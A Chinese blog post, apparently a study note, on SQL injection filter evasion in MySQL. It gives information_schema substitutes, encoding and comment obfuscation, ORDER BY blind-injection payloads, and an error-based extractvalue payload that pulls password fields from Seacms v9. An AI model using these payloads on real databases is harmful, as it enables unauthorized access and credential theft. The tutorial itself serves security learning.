绕过信息过滤与注入限制

发布于:2025-03-01 ⋅ 阅读:(133) ⋅ 点赞:(0)

绕过 information_schema 过滤

information_schema 是 MySQL 中存储元数据的系统数据库,常用于 SQL 注入中获取表名、列名等信息。当 information_schema 被过滤时,可以通过以下方法绕过。

1 替代视图

使用 sys 库(MySQL 5.7+)

sys 库是 MySQL 5.7 及以上版本提供的系统库,包含丰富的元数据信息。

数据库中:SELECT table_name FROM sys.schema_auto_increment_columns 
WHERE table_schema = DATABASE();

mysql.innodb_table_stats 表存储了 InnoDB 表的统计信息,可用于获取表名

数据库中:SELECT table_name FROM mysql.innodb_table_stats 
WHERE database_name = DATABASE();

2 编码混淆

通过编码混淆关键字,可以绕过简单的字符串过滤。

方法 eg
URL %69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61
Unicode information\u005f_schema
十六进制 0x696e666f726d6174696f6e5f736368656d61

3 语法变形

通过语法变形,可以绕过对关键字的直接过滤。

内联注释绕过

数据库中:

SELECT table_name FROM /*!information_schema*/.tables;

关键字分割

数据库中:

SELECT table_name FROM information/**/_schema.tables;

绕过 ORDER BY 注入限制

ORDER BY 注入是一种常见的 SQL 注入类型,通常用于盲注场景。以下是几种绕过限制的方法。

1 联合查询注入

通过联合查询,可以直接获取数据。

2 盲注技术类型

布尔盲注 ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,1,2)
时间盲注 ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,SLEEP(5),1)
正则匹配 ORDER BY (SELECT table_name) REGEXP '^a'

3 分页提取数据

通过 LIMIT 和 OFFSET 分页提取数据

数据库中:

ORDER BY (SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0);

Seacmsv9 报错注入:

Seacmsv9 是一款常见的内容管理系统,曾存在报错注入漏洞。以下是漏洞利用过程与分析。

1 漏洞利用过程

通过构造恶意请求触发报错注入。

2 报错结果分析

成功回显数据库名

密码字段截断处理

通过 MID() 函数分段读取密码字段

数据库中:extractvalue(1,concat_ws(0x20,0x5c,mid((SELECT password),1,30)))

3 常见问题排查

权限不足

字段过长

特殊字符


网站公告

今日签到

点亮在社区的每一天
去签到